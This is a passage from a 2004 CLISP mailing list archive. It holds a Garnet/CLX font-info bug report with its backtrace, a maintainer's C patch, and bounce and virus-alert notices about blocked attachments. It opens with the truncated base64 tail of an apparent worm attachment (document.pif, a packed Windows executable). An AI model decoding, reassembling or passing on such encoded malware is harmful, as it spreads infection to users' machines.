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 > SwUGAAAAAAEAAQA6AAAAKlgAAAAA > > ------=_NextPart_000_0008_DEAC862A.3D191115-- > > > > From pascal@informatimago.com Sun Jan 25 16:02:31 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AkuD0-0002Ig-63 for clisp-list@lists.sourceforge.net; Sun, 25 Jan 2004 16:02:30 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Ak8Un-0003f2-Hs for clisp-list@lists.sourceforge.net; Fri, 23 Jan 2004 13:05:42 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id BCEBC586E3; Fri, 23 Jan 2004 22:05:38 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id EADA040E5E; Fri, 23 Jan 2004 22:04:02 +0100 (CET) Message-ID: <16401.35906.905889.746106@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: In-Reply-To: References: <400BDB3A-3F9E-11D8-BC6C-000A95E27FEE@afaa.asso.fr> <16400.35608.66852.835748@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 UPPERCASE_50_75 message body is 50-75% uppercase Subject: [clisp-list] Re: new-clx builds bad encoding name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 27 18:21:26 2004 X-Original-Date: Fri, 23 Jan 2004 22:04:02 +0100 Sam Steingold writes: > > * Pascal J.Bourguignon [2004-01-23 03:46:48 +0100]: > > > > (Of course, now garnet stumbles against other problems, but this step > > is overcome). > specifically? I think it's garnet specific: [1]> (load "rundemos.lisp") ... ;; Loading file /local/share/lisp/packages/net/sourceforge/garnet/debug/inspector.lisp ... ==> Garnet-Debug: hit F2 key for INSPECTOR on object under mouse ==> Garnet-Debug: hit CONTROL-F2 for INSPECTOR on next Interactor ==> Garnet-Debug: hit SHIFT-F2 to list obj under mouse Object DEBUG-EDIT Object PS-POP-AGG *** - SLOT-VALUE: The class # has no slot named XLIB::FONT-INFO Same with: [1]> (load "build.lisp") ... ;; Loading file /local/share/lisp/packages/net/sourceforge/garnet/debug/inspector.lisp ... ==> Garnet-Debug: hit F2 key for INSPECTOR on object under mouse ==> Garnet-Debug: hit CONTROL-F2 for INSPECTOR on next Interactor ==> Garnet-Debug: hit SHIFT-F2 to list obj under mouse Object DEBUG-EDIT Object PS-POP-AGG *** - SLOT-VALUE: The class # has no slot named XLIB::FONT-INFO Break 1 GD[2]> :bt <1> # <2> # <3> # <4> # <5> # <6> # <7> # <8> # <9> # <10> # 3 <11> # <12> # <13> # <14> # <15> # APPLY frame for call (GEM::X-TEXT-WIDTH '#k '#k '"X") EVAL frame for form (FUNCALL (AREF (KR::VALUE-FN GEM::ROOT-WINDOW :METHODS) 61) GEM::ROOT-WINDOW GEM::OPAL-FONT STRING) <16> # 3 <17> # 3 APPLY frame for call (GEM:TEXT-WIDTH '#k '#k '"X") EVAL frame for form (GEM:TEXT-WIDTH (KR::GV-VALUE-FN OPAL::DEVICE-INFO :CURRENT-ROOT) KR::*SCHEMA-SELF* "X") <18> # 3 <19> # EVAL frame for form (IF (EQ (KR::GV-VALUE-FN KR::*SCHEMA-SELF* :FAMILY) :FIXED) (GEM:TEXT-WIDTH (KR::GV-VALUE-FN OPAL::DEVICE-INFO :CURRENT-ROOT) KR::*SCHEMA-SELF* "X")) APPLY frame for call (:LAMBDA) EVAL frame for form (FUNCALL (COERCE (KR::A-FORMULA-FUNCTION KR::*CURRENT-FORMULA*) 'FUNCTION)) ... It happens while getting the :width attribute of the dot-dot-dot instance in gadgets/scrolling-input-string.lisp line 290: Break 1 GD[2]> (create-instance 'small-font opal:font (:size :small)(:family :serif)) Object SMALL-FONT #k Break 1 GD[2]> (create-instance 'dot-dot-dot opal:text (:constant '(:font :string)) (:font small-font) (:string "...")) Object DOT-DOT-DOT Warning - create-schema is destroying the old #k. #k Break 1 GD[2]> (defparameter dot-dot-width (g-value dot-dot-dot :width)) *** - SLOT-VALUE: The class # has no slot named XLIB::FONT-INFO Break 2 GD[4]> > Heinlein lived in a greenhouse. > killing him is a much worse tyranny. Indeed. -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From MAILER-DAEMON Tue Jan 27 21:05:33 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AlhtM-0000xs-L0 for clisp-list@lists.sourceforge.net; Tue, 27 Jan 2004 21:05:32 -0800 Received: from mail-kan.bigfish.com ([63.161.60.29] helo=mail17-kan-R.bigfish.com) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AlhtM-000886-86 for clisp-list@lists.sourceforge.net; Tue, 27 Jan 2004 21:05:32 -0800 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by mail17-kan-R.bigfish.com (Postfix) with ESMTP id 559C0134F80 for ; Wed, 28 Jan 2004 05:05:26 +0000 (UCT) To: clisp-list@lists.sourceforge.net From: Content Filter <> Message-Id: <20040128050526.559C0134F80@mail17-kan-R.bigfish.com> X-Spam-Score: 1.3 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.3 FROM_NO_USER From: has no local-part before @ sign Subject: [clisp-list] Undeliverable message returned to sender Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 27 21:07:25 2004 X-Original-Date: Wed, 28 Jan 2004 05:05:26 +0000 (UCT) This message was created automatically by mail delivery software. Delivery failed for the following recipients(s): brenda@sybase.com The message you sent contained an attachment which the recipient has chosen to block. Usually these sort of attachments are blocked to prevent malicious software from being sent to the recipient in question. The name(s) of the blocked file(s) follow: message.zip To send this file, please place it in a compressed archive using WinZip (http://www.winzip.com) or the archive software of your choice. ----- Original Message Header ----- Received: by mail17-kan (MessageSwitch) id 1075266325573142_30519; Wed, 28 Jan 2004 05:05:25 +0000 (UCT) Received: from lists.sourceforge.net (unknown [128.187.243.137]) by mail17-kan.bigfish.com (Postfix) with ESMTP id 36C7B134F86 for ; Wed, 28 Jan 2004 05:05:13 +0000 (UCT) From: clisp-list@lists.sourceforge.net To: brenda@sybase.com Subject: Date: Tue, 27 Jan 2004 22:08:06 -0700 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0003_3A5E4578.3AB82419" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <20040128050513.36C7B134F86@mail17-kan.bigfish.com> From owner-mutt-users@mutt.org Tue Jan 27 23:15:07 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AlXGg-0007wN-CK for clisp-list@lists.sourceforge.net; Tue, 27 Jan 2004 09:44:54 -0800 Received: from agent57.gbnet.net ([194.70.126.12]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1AlX5D-0001Bp-8R for clisp-list@lists.sourceforge.net; Tue, 27 Jan 2004 09:33:03 -0800 Received: (qmail 4497 invoked by uid 610); 27 Jan 2004 17:32:59 -0000 Message-ID: <20040127173259.4493.qmail@agent57.gbnet.net> To: clisp-list@lists.sourceforge.net From: owner-mutt-users@mutt.org X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] mutt-users@mutt.org: Non-member submission from clisp-list@lists.sourceforge.net Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 27 23:17:31 2004 X-Original-Date: 27 Jan 2004 17:32:59 -0000 Your submission to the list has been forwarded to the list owner for approval because you do not seem to be on that list. If you want to join the list, send email to , with "subscribe mutt-users" in the message text (not the subject). From virus@sbs.at Mon Jan 26 16:49:57 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AlHQO-0002AT-B5 for clisp-list@lists.sourceforge.net; Mon, 26 Jan 2004 16:49:52 -0800 Received: from eins.siemens.at ([193.81.246.11]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AlHQN-0004GA-Lu for clisp-list@lists.sourceforge.net; Mon, 26 Jan 2004 16:49:51 -0800 Received: from mailhost2.sie.siemens.at (forix [10.1.140.2]) by eins.siemens.at (8.12.9/8.12.8) with ESMTP id i0R0nlTm003170 for ; Tue, 27 Jan 2004 01:49:47 +0100 Received: from nets109x.sie.siemens.at (nets109x.sie.siemens.at [158.226.134.96]) by mailhost2.sie.siemens.at (8.12.10/8.12.1) with ESMTP id i0R0nkYA010251 for ; Tue, 27 Jan 2004 01:49:46 +0100 Received: from localhost (root@localhost) by nets109x.sie.siemens.at (8.12.9+Sun/8.12.2/Submit) with SMTP id i0R0nkfx017217 for ; Tue, 27 Jan 2004 01:49:46 +0100 (MET) Message-Id: <200401270049.i0R0nkfx017217@nets109x.sie.siemens.at> From: virus@sbs.at To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; Content-Transfer-Encoding: 8bit X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] Virus Alert Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 28 01:10:50 2004 X-Original-Date: Tue, 27 Jan 2004 01:49:46 +0100 The mail attachment file document.zip was blocked, according to Siemens Austria InterScan VirusWall's configuration. The action rejected was taken. Please send your attachment in a zip-file protected with a password. From junk@realityx.net Wed Jan 28 02:12:50 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Almgj-0005Ww-O5 for clisp-list@lists.sourceforge.net; Wed, 28 Jan 2004 02:12:49 -0800 Received: from [213.179.32.73] (helo=realityx.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Almgj-0000la-1X for clisp-list@lists.sourceforge.net; Wed, 28 Jan 2004 02:12:49 -0800 Message-Id: <10401281112.AA56098838@realityx.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: "junk spam" Reply-To: To: X-Mailer: Precedence: bulk X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] automated response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 28 02:14:30 2004 X-Original-Date: Wed, 28 Jan 2004 11:12:42 Please stop spamming.. This is an automated reply.. From MAILER-DAEMON Wed Jan 28 10:29:56 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AluRo-0003xh-0z for clisp-list@lists.sourceforge.net; Wed, 28 Jan 2004 10:29:56 -0800 Received: from mail-kan.bigfish.com ([63.161.60.29] helo=mail12-kan-R.bigfish.com) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AluRn-0005ha-Dk for clisp-list@lists.sourceforge.net; Wed, 28 Jan 2004 10:29:55 -0800 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by mail12-kan-R.bigfish.com (Postfix) with ESMTP id 4E8ED1324B7 for ; Wed, 28 Jan 2004 18:29:49 +0000 (UCT) To: clisp-list@lists.sourceforge.net From: Content Filter Message-Id: <20040128182949.4E8ED1324B7@mail12-kan-R.bigfish.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Rejection: A message you sent was rejected. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 28 10:44:27 2004 X-Original-Date: Wed, 28 Jan 2004 18:29:49 +0000 (UCT) This message was created automatically by mail delivery software. Delivery failed for the following recipients(s): claudia@pfizer.com Pfizer prohibits transmission via e-mail of attachments with certain extensions. You attempted to send a message with one or more of the prohibited attachments. If you have a business reason to send the blocked attachment(s), please contact the recipient to arrange successful transmission. yrds.scr To send this file, please place it in a compressed archive using WinZip (http://www.winzip.com) or the archive software of your choice. ----- Original Message Header ----- Received: by mail12-kan (MessageSwitch) id 1075314588417176_29837; Wed, 28 Jan 2004 18:29:48 +0000 (UCT) Received: from lists.sourceforge.net (5.Red-217-125-98.pooles.rima-tde.net [217.125.98.5]) by mail12-kan.bigfish.com (Postfix) with ESMTP id 96F4E13259F for ; Wed, 28 Jan 2004 18:29:43 +0000 (UCT) From: clisp-list@lists.sourceforge.net To: claudia@pfizer.com Subject: Date: Wed, 28 Jan 2004 18:29:40 +0000 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0006_623038FB.E79A1EBF" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <20040128182943.96F4E13259F@mail12-kan.bigfish.com> From sds@gnu.org Wed Jan 28 06:58:15 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Alr8x-0001EE-89 for clisp-list@lists.sourceforge.net; Wed, 28 Jan 2004 06:58:15 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Alr8w-0005RR-Ma for clisp-list@lists.sourceforge.net; Wed, 28 Jan 2004 06:58:14 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id i0SEvwb19545; Wed, 28 Jan 2004 09:58:00 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16401.35906.905889.746106@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Fri, 23 Jan 2004 22:04:02 +0100") References: <400BDB3A-3F9E-11D8-BC6C-000A95E27FEE@afaa.asso.fr> <16400.35608.66852.835748@thalassa.informatimago.com> <16401.35906.905889.746106@thalassa.informatimago.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: new-clx builds bad encoding name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 28 14:51:32 2004 X-Original-Date: Wed, 28 Jan 2004 09:57:58 -0500 > * Pascal J.Bourguignon [2004-01-23 22:04:02 +0100]: > > *** - SLOT-VALUE: The class # has no slot named XLIB::FONT-INFO > > <13> # > <14> # > <15> # please try the appended patch. thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k I don't want to be young again, I just don't want to get any older. --- clx.f.~2.13.~ 2004-01-25 12:49:13.280040600 -0500 +++ clx.f 2004-01-28 09:57:32.452489800 -0500 @@ -996,7 +996,7 @@ pushSTACK(obj); /* save */ - pushSTACK(STACK_1); pushSTACK(`XLIB::FONT-INFO`); + pushSTACK(obj); pushSTACK(`XLIB::FONT-INFO`); funcall(L(slot_value),2); /* (slot-value obj 'font-info) */ value1 = check_fpointer(value1,false); info = TheFpointer(value1)->fp_pointer; From russell_mcmanus@yahoo.com Wed Jan 28 11:08:34 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) 